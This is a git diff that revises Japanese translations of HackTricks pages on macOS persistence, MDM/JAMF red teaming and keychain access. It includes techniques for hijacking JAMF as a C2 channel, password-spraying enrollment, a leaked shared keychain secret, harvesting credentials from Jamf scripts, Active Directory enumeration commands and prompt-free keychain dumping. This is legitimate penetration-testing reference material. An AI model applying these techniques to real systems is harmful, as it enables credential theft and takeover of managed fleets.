+ルートとしてさえkextをインストールするのは非常に複雑なので、サンドボックスから脱出するためや持続性のためにこれを考慮しないでしょう(エクスプロイトがある場合を除く) {% endhint %} #### ロケーション @@ -1587,7 +1565,7 @@ KEXTを起動アイテムとしてインストールするには、次のいず * `/System/Library/Extensions` * OS Xオペレーティングシステムに組み込まれたKEXTファイル。 * `/Library/Extensions` -* サードパーティソフトウェアによってインストールされたKEXTファイル +* サードパーティ製ソフトウェアによってインストールされたKEXTファイル 現在ロードされているkextファイルをリストアップすることができます: ```bash @@ -1597,7 +1575,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` -[**カーネル拡張機能に関する詳細は、このセクションをチェックしてください**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。 +詳細については、[**カーネル拡張機能をチェックしてください**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)。 ### ~~amstoold~~ @@ -1605,12 +1583,12 @@ kextunload -b com.apple.driver.ExampleBundle #### 位置 -- **`/usr/local/bin/amstoold`** -- ルート権限が必要 +* **`/usr/local/bin/amstoold`** +* ルート権限が必要 #### 説明と悪用 -明らかに、`/System/Library/LaunchAgents/com.apple.amstoold.plist`からの`plist`は、XPCサービスを公開しながらこのバイナリを使用していました... 問題は、バイナリが存在しなかったため、そこに何かを配置し、XPCサービスが呼び出されるときにあなたのバイナリが呼び出されるということです。 +明らかに、`/System/Library/LaunchAgents/com.apple.amstoold.plist`からの`plist`は、XPCサービスを公開しながらこのバイナリを使用していました...問題は、バイナリが存在しなかったため、そこに何かを配置し、XPCサービスが呼び出されるときにバイナリが呼び出されることができました。 私のmacOSではこれを見つけることができなくなりました。 @@ -1620,13 +1598,13 @@ kextunload -b com.apple.driver.ExampleBundle #### 位置 -- **`/Library/Preferences/Xsan/.xsanrc`** -- ルート権限が必要 -- **トリガー**: サービスが実行されるとき(稀) +* **`/Library/Preferences/Xsan/.xsanrc`** +* ルート権限が必要 +* **トリガー**: サービスが実行されるとき(まれ) #### 説明と悪用 -このスクリプトを実行することはあまり一般的ではないようで、私のmacOSでも見つけることができませんでした。詳細については、解説をチェックしてください。 +このスクリプトを実行することはあまり一般的ではないようで、私のmacOSでも見つけることができませんでした。詳細については、解説をご覧ください。 ### ~~/etc/rc.common~~ @@ -1634,7 +1612,7 @@ kextunload -b com.apple.driver.ExampleBundle **これは現代のMacOSバージョンでは機能しません** {% endhint %} -ここにも**起動時に実行されるコマンドを配置することができます。** 通常のrc.commonスクリプトの例: +ここには、**起動時に実行されるコマンドを配置することも可能です。** 通常のrc.commonスクリプトの例: ```bash # # Common setup for startup scripts. @@ -1734,14 +1712,14 @@ esac
-htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ +htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学ぶ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。** -* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。 +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする** +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
diff --git a/macos-hardening/macos-red-teaming/README.md b/macos-hardening/macos-red-teaming/README.md index ba789e6e7..2a294aea7 100644 --- a/macos-hardening/macos-red-teaming/README.md +++ b/macos-hardening/macos-red-teaming/README.md @@ -9,19 +9,19 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する -- 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする +- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する -## MDMの悪用 +## MDMの乱用 * JAMF Pro: `jamf checkJSSConnection` * Kandji -管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。 +管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで、すべてのコンピュータを**潜在的に侵害**することができます。 -MacOS環境でのレッドチーミングでは、MDMの動作原理についてある程度理解していることが強く推奨されています: +MacOS環境でのレッドチーミングでは、MDMの動作原理を理解することが強く推奨されています: {% content-ref url="macos-mdm/" %} [macos-mdm](macos-mdm/) @@ -29,35 +29,35 @@ MacOS環境でのレッドチーミングでは、MDMの動作原理について ### MDMをC2として使用する -MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更などの権限を持っています。 +MDMは、プロファイルのインストール、クエリ、削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更などの権限を持っています。 -独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得しようとするベンダーによって署名された**CSR**が必要です。Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。 +独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得できるベンダーによって**CSRを署名する必要があります**。Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。 -ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントで署名する必要があります... ただし、MDM登録時に**デバイスはMDMのSSL証明書を信頼できるCAとして追加**するため、今後は何でも署名できます。 +ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントで署名する必要があります... ただし、MDM登録時には、デバイスがMDMのSSL証明書を信頼できるCAとして追加するため、今後は何でも署名できます。 -デバイスをMDMに登録するには、**`mobileconfig`**ファイルをルートとしてインストールする必要があります。これは**pkg**ファイルを介して配信できます(Safariからダウンロードされると解凍されます)。 +デバイスをMDMに登録するには、ルートとして**`mobileconfig`**ファイルをインストールする必要があります。これは**pkg**ファイルを介して配信できます(Safariからダウンロードされると解凍されます)。 **MythicエージェントOrthrus**はこのテクニックを使用しています。 -### JAMF PROの悪用 +### JAMF PROの乱用 JAMFは**カスタムスクリプト**(システム管理者が開発したスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの構成、デバイス証明書...)を実行できます。 #### JAMFの自己登録 -`https://.jamfcloud.com/enroll/`などのページに移動して、**自己登録が有効になっているかどうか**を確認します。有効になっている場合、**アクセスのための資格情報を要求**する場合があります。 +`https://.jamfcloud.com/enroll/`などのページに移動して、**自己登録が有効になっているかどうか**を確認します。有効になっている場合は、**アクセスするための資格情報を要求**するかもしれません。 [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。 -さらに、適切な資格情報を見つけた後、次のフォームで他のユーザー名を総当たり攻撃することができるかもしれません: +適切な資格情報を見つけた後、次の形式で他のユーザー名を総当たり攻撃することができるかもしれません: -![](<../../.gitbook/assets/image (7) (1) (1).png>) +![](<../../.gitbook/assets/image (107).png>) #### JAMFデバイス認証 -
+
-**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時点では**誰もが共有**していました。それは**`jk23ucnq91jfu9aj`**でした。\ +**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時点では**誰もが共有していた**ものでした:**`jk23ucnq91jfu9aj`**。\ さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**永続化**されます。 #### JAMFデバイス乗っ取り @@ -80,35 +80,37 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist ``` {% endcode %} -したがって、攻撃者は、**このファイルを上書き**する悪意のあるパッケージ(`pkg`)をドロップすることができ、インストールされると**TyphonエージェントからMythic C2リスナーへのURLを設定**し、JAMFをC2として悪用することができるようになります。 +したがって、攻撃者は、**このファイルを上書き**し、TyphonエージェントからMythic C2リスナーへの**URLを設定**するように悪意のあるパッケージ(`pkg`)をインストールすることができ、これによりJAMFをC2として悪用することができます。 ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 ``` -#### JAMFのなりすまし +{% endcode %} -デバイスとJMFの間の通信を**なりすます**には、以下が必要です: +#### JAMF Impersonation -- デバイスの**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- **JAMFキーチェーン**:`/Library/Application\ Support/Jamf/JAMF.keychain`から、デバイス証明書を含む +デバイスとJMFの間の通信を**偽装**するには、次のものが必要です: -この情報を使用して、**盗まれた**ハードウェア**UUID**を持つVMを作成し、**SIPを無効に**して、**JAMFキーチェーン**を落とし、Jamf**エージェント**を**フック**して情報を盗みます。 +* デバイスの**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` +* 次の場所からの**JAMFキーチェーン**:`/Library/Application\ Support/Jamf/JAMF.keychain`(デバイス証明書を含む) -#### 秘密の盗み出し +この情報を使用して、**盗まれた**ハードウェア**UUID**を持つVMを作成し、**SIPを無効に**し、**JAMFキーチェーン**をドロップし、Jamf **エージェント**を**フック**して情報を盗みます。 -

a

+#### Secrets stealing -また、**カスタムスクリプト**を監視することができます。管理者がJamfを介して実行したいと考えるかもしれない場所`/Library/Application Support/Jamf/tmp/`。これらのスクリプトはここに**配置され、実行され、削除**されます。これらのスクリプトには**資格情報**が含まれる可能性があります。 +

a

-ただし、これらのスクリプトには**パラメータ**として**資格情報**が渡される場合がありますので、`ps aux | grep -i jamf`を監視する必要があります(root権限がなくても)。 +また、**カスタムスクリプト**を監視することもできます。管理者がJamfを介して実行したいと考えるかもしれない場所 `/Library/Application Support/Jamf/tmp/` これらのスクリプトはここに**配置され、実行され、削除**されます。これらのスクリプトには**資格情報**が含まれる可能性があります。 -スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルの追加と新しいプロセス引数を監視できます。 +ただし、**資格情報**は**パラメータ**としてこれらのスクリプトに渡される場合がありますので、`ps aux | grep -i jamf` を監視する必要があります(root権限でなくても)。 -### macOSリモートアクセス +スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) は、新しいファイルが追加されるのを監視し、新しいプロセス引数を聞くことができます。 -また、**MacOS**の"特別な"**ネットワーク** **プロトコル**についても: +### macOS Remote Access + +そして**MacOS**の"特別な"**ネットワーク** **プロトコル**についても: {% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %} [macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md) @@ -116,7 +118,7 @@ sudo jamf policy -id 0 ## Active Directory -場合によっては、**MacOSコンピュータがADに接続されている**ことがあります。このシナリオでは、通常どおりにActive Directoryを列挙してみてください。以下のページで**ヘルプ**を見つけることができます: +場合によっては、**MacOSコンピューターがADに接続されている**ことがわかります。このシナリオでは、通常どおりにアクティブディレクトリを列挙してみてください。以下のページで**ヘルプ**を見つけることができます: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -130,14 +132,14 @@ sudo jamf policy -id 0 [pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/) {% endcontent-ref %} -あなたを助ける**ローカルMacOSツール**の1つは`dscl`です: +あなたを助けるのに役立つ**ローカルMacOSツール**の1つは `dscl` です: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` -また、MacOS向けにADを自動的に列挙し、kerberosを操作するためのツールがいくつか用意されています: +また、MacOS向けにActive Directoryの自動列挙やKerberosの操作を行うためのツールがいくつか用意されています: - [**Machound**](https://github.com/XMCyber/MacHound): MacHoundはBloodhound監査ツールの拡張機能で、MacOSホスト上でActive Directoryの関係を収集および取り込むことができます。 -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上でHeimdal krb5 APIとやり取りするように設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、macOSデバイス上でKerberosに関するセキュリティテストを、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用して実現することです。 +- [**Bifrost**](https://github.com/its-a-feature/bifrost): BifrostはObjective-Cプロジェクトで、macOS上のHeimdal krb5 APIとやり取りするように設計されています。このプロジェクトの目標は、macOSデバイス上でKerberosに関するセキュリティテストを、ターゲット上で他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用して可能にすることです。 - [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directoryの列挙を行うためのJavaScript for Automation (JXA)ツール。 ### ドメイン情報 @@ -149,16 +151,16 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil MacOSの3つのタイプのユーザーは次のとおりです: - **ローカルユーザー** — ローカルのOpenDirectoryサービスによって管理され、Active Directoryとは何の接続もありません。 -- **ネットワークユーザー** — DCサーバーに接続して認証する必要がある、不安定なActive Directoryユーザー。 +- **ネットワークユーザー** — DCサーバーに接続して認証する必要がある一時的なActive Directoryユーザー。 - **モバイルユーザー** — 資格情報とファイルのローカルバックアップを持つActive Directoryユーザー。 -ユーザーとグループに関するローカル情報は、_var/db/dslocal/nodes/Default_ フォルダに保存されています。\ -たとえば、ユーザー _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。 +ユーザーとグループに関するローカル情報は、_/var/db/dslocal/nodes/Default_ フォルダに保存されています。\ +たとえば、ユーザー _mark_ に関する情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ に関する情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。 -**MacHound** は、Bloodhoundデータベースに **HasSession** と **AdminTo** エッジに加えて、次の3つの新しいエッジを追加します: +**MacHoundはHasSessionとAdminToエッジに加えて、Bloodhoundデータベースに3つの新しいエッジを追加**します: -- **CanSSH** - ホストにSSH接続を許可されたエンティティ -- **CanVNC** - ホストにVNC接続を許可されたエンティティ +- **CanSSH** - ホストにSSHで接続を許可されたエンティティ +- **CanVNC** - ホストにVNCで接続を許可されたエンティティ - **CanAE** - ホストでAppleEventスクリプトを実行することを許可されたエンティティ ```bash #User enumeration @@ -181,11 +183,9 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` -詳細は[https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)にあります。 - ## キーチェーンへのアクセス -キーチェーンには高い確率で機密情報が含まれており、プロンプトを生成せずにアクセスすることで、レッドチームの演習を進めるのに役立つ可能性が高いです: +キーチェーンには高度に機密性の高い情報が含まれており、プロンプトを生成せずにアクセスすると、レッドチームの演習を前進させるのに役立つ可能性が非常に高いです: {% content-ref url="macos-keychain.md" %} [macos-keychain.md](macos-keychain.md) @@ -193,15 +193,15 @@ dsconfigad -show ## 外部サービス -MacOS Red Teamingは通常のWindows Red Teamingとは異なり、**MacOSは通常、複数の外部プラットフォームと直接統合**されています。MacOSの一般的な構成は、**OneLoginと同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。 +MacOS Red Teamingは通常のWindows Red Teamingとは異なります。通常、**MacOSは複数の外部プラットフォームと直接統合**されています。MacOSの一般的な構成は、**OneLoginと同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。 -## その他のRed Teamテクニック +## その他のレッドチーム技術 ### Safari -Safariでファイルをダウンロードすると、"安全"なファイルの場合、**自動的に開かれます**。たとえば、**zipファイルをダウンロード**した場合、自動的に展開されます: +Safariでファイルをダウンロードすると、"安全"なファイルの場合、**自動的に開かれます**。たとえば、**zipファイルをダウンロード**した場合、自動的に展開されます: -
+
## 参考文献 diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md index 344d47b42..93dffef2e 100644 --- a/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/macos-hardening/macos-red-teaming/macos-keychain.md @@ -7,53 +7,53 @@ HackTricksをサポートする他の方法: - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする -- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +- **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 ### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、**盗難マルウェア**による**侵害**を受けたかどうかを確認するための**無料**機能を提供しています。 -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 +WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りとランサムウェア攻撃に対抗することです。 彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: {% embed url="https://whiteintel.io" %} ---- +*** ## メインキーチェーン -- **ユーザーキーチェーン**(`~/Library/Keychains/login.keycahin-db`)は、アプリケーションパスワード、インターネットパスワード、ユーザー生成証明書、ネットワークパスワード、ユーザー生成の公開/秘密鍵などの**ユーザー固有の資格情報**を保存するために使用されます。 -- **システムキーチェーン**(`/Library/Keychains/System.keychain`)は、WiFiパスワード、システムルート証明書、システムの秘密鍵、システムアプリケーションパスワードなどの**システム全体の資格情報**を保存します。 +- **ユーザーキーチェーン**(`~/Library/Keychains/login.keycahin-db`)は、アプリケーションパスワード、インターネットパスワード、ユーザー生成証明書、ネットワークパスワード、ユーザー生成の公開/秘密鍵など、**ユーザー固有の資格情報**を保存するために使用されます。 +- **システムキーチェーン**(`/Library/Keychains/System.keychain`)は、WiFiパスワード、システムルート証明書、システムの秘密鍵、システムアプリケーションパスワードなど、**システム全体の資格情報**を保存します。 ### パスワードキーチェーンアクセス -これらのファイルは、固有の保護を持たず、**ダウンロード**できますが、**ユーザーの平文パスワードが必要**です。[**Chainbreaker**](https://github.com/n0fate/chainbreaker)のようなツールを使用して復号化できます。 +これらのファイルは、固有の保護を持たないため、**ダウンロード**できますが、**ユーザーの平文パスワードが必要**です。[**Chainbreaker**](https://github.com/n0fate/chainbreaker)のようなツールを使用して復号化できます。 ## キーチェーンエントリの保護 ### ACLs -キーチェーン内の各エントリは、さまざまなアクションを実行できる人物を規定する**アクセス制御リスト(ACLs)**によって管理されます。これには次のものが含まれます: +キーチェーン内の各エントリは、**アクセス制御リスト(ACLs)**によって管理され、キーチェーンエントリでさまざまなアクションを実行できるユーザーを規定します。これには以下が含まれます: - **ACLAuhtorizationExportClear**:保持者が秘密のクリアテキストを取得できるようにします。 - **ACLAuhtorizationExportWrapped**:保持者が別の提供されたパスワードで暗号化されたクリアテキストを取得できるようにします。 - **ACLAuhtorizationAny**:保持者が任意のアクションを実行できるようにします。 -ACLsには、プロンプトなしでこれらのアクションを実行できる**信頼されたアプリケーションのリスト**が付属しています。これには次のものが含まれます: +ACLsには、これらのアクションをプロンプトなしで実行できる信頼されたアプリケーションの**リスト**が付属しています。これには以下が含まれます: -- **`Nil`**(認証不要、**誰もが信頼されている**) -- 空のリスト(**誰もが信頼されていない**) +- **N`il`**(認証不要、**誰もが信頼されています**) +- 空のリスト(**誰もが信頼されていません**) - 特定の**アプリケーション**の**リスト**。 -また、エントリには**`ACLAuthorizationPartitionID`**というキーが含まれている場合があり、**teamid、apple、cdhash**を識別するために使用されます。 +また、エントリには**`ACLAuthorizationPartitionID`**というキーが含まれており、**teamid、apple、cdhash**を識別するために使用されます。 - **teamid**が指定されている場合、**エントリの値にアクセス**するためには、使用されるアプリケーションが**同じteamid**を持っている必要があります。 - **apple**が指定されている場合、アプリは**Appleによって署名**されている必要があります。 @@ -64,7 +64,7 @@ ACLsには、プロンプトなしでこれらのアクションを実行でき **`Keychain Access.app`**を使用して**新しい** **エントリ**を作成する場合、次のルールが適用されます: - すべてのアプリが暗号化できます。 -- **アプリは**エクスポート/復号化できません(ユーザーにプロンプトを表示せず)。 +- **アプリケーションは**エクスポート/復号化できません(ユーザーにプロンプトを表示せず)。 - すべてのアプリが整合性チェックを見ることができます。 - どのアプリもACLを変更できません。 - **partitionID**は**`apple`**に設定されています。 @@ -90,13 +90,13 @@ security find-generic-password -a "Slack" -g # Change the specified entrys PartitionID entry security set-generic-password-parition-list -s "test service" -a "test acount" -S ``` -### API +### APIs {% hint style="success" %} -**プロンプトを生成しない**シークレットの**キーチェーン列挙とダンプ**は、[**LockSmith**](https://github.com/its-a-feature/LockSmith)ツールを使用して行うことができます。 +**プロンプトを生成しない**シークレットの**キーチェーン列挙とダンプ**は、[**LockSmith**](https://github.com/its-a-feature/LockSmith)というツールで行うことができます。 {% endhint %} -各キーチェーンエントリの**情報**をリストおよび取得します: +各キーチェーンエントリの**情報**をリスト化および取得: * API **`SecItemCopyMatching`** は各エントリに関する情報を提供し、使用する際に設定できるいくつかの属性があります: * **`kSecReturnData`**:trueの場合、データの復号を試みます(ポップアップを回避するためにfalseに設定) @@ -105,16 +105,16 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - * **`kSecMatchLimit`**:返す結果の数 * **`kSecClass`**:どの種類のキーチェーンエントリか -各エントリの**ACL**を取得します: +各エントリの**ACL**を取得: -* API **`SecAccessCopyACLList`** を使用すると、キーチェーンアイテムの**ACL**を取得し、ACLのリスト(`ACLAuhtorizationExportClear`などの以前に言及されたもの)が返されます。各リストには次のものが含まれます: +* API **`SecAccessCopyACLList`** を使用すると、キーチェーンアイテムの**ACL**を取得し、ACLのリスト(`ACLAuhtorizationExportClear`などの以前に言及されたもの)が返されます。各リストには以下が含まれます: * 説明 -* **信頼されたアプリケーションリスト**。これには次のものが含まれる可能性があります: +* **信頼されたアプリケーションリスト**。これには次のようなものが含まれます: * アプリ:/Applications/Slack.app * バイナリ:/usr/libexec/airportd * グループ:group://AirPort -データをエクスポートします: +データをエクスポート: * API **`SecKeychainItemCopyContent`** は平文を取得します * API **`SecItemExport`** はキーと証明書をエクスポートしますが、コンテンツを暗号化してエクスポートするにはパスワードを設定する必要があります @@ -122,7 +122,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - そして、**プロンプトなしでシークレットをエクスポート**するための**要件**は次のとおりです: * **1つ以上の信頼された**アプリがリストされている場合: -* 適切な**認可**が必要(**`Nil`**、またはシークレット情報にアクセスするための認可されたアプリの許可リストの一部である必要があります) +* 適切な**認可**が必要(**`Nil`**、またはシークレット情報にアクセスするための認可されたアプリのリストの一部である必要があります) * コード署名が**PartitionID**と一致する必要があります * コード署名が**信頼されたアプリ**のものと一致する必要があります(または適切なKeychainAccessGroupのメンバーである必要があります) * **すべてのアプリケーションが信頼されている**場合: @@ -133,7 +133,7 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - {% hint style="danger" %} したがって、**1つのアプリケーションがリストされている**場合、そのアプリケーションに**コードをインジェクトする**必要があります。 -**PartitionID**に**apple**が指定されている場合、**`osascript`**を使用してアクセスできます。つまり、PartitionIDにappleを含むすべてのアプリケーションを信頼しているものにアクセスできます。**`Python`**も使用できます。 +**PartitionID**に**apple**が指定されている場合、**`osascript`**を使用してアクセスできます。つまり、PartitionIDにappleが含まれるすべてのアプリケーションを信頼しているものにアクセスできます。**`Python`**もこれに使用できます。 {% endhint %} ### 2つの追加属性 @@ -148,9 +148,9 @@ security set-generic-password-parition-list -s "test service" -a "test acount" - ### [WhiteIntel](https://whiteintel.io) -
+
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンであり、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかを確認するための**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンであり、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックするための**無料**機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 @@ -160,14 +160,14 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**ゼロからヒーローまでのAWSハッキングを学ぶ** htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝**したり、**PDFでHackTricksをダウンロード**したりするには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください -* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見 -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。 +* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
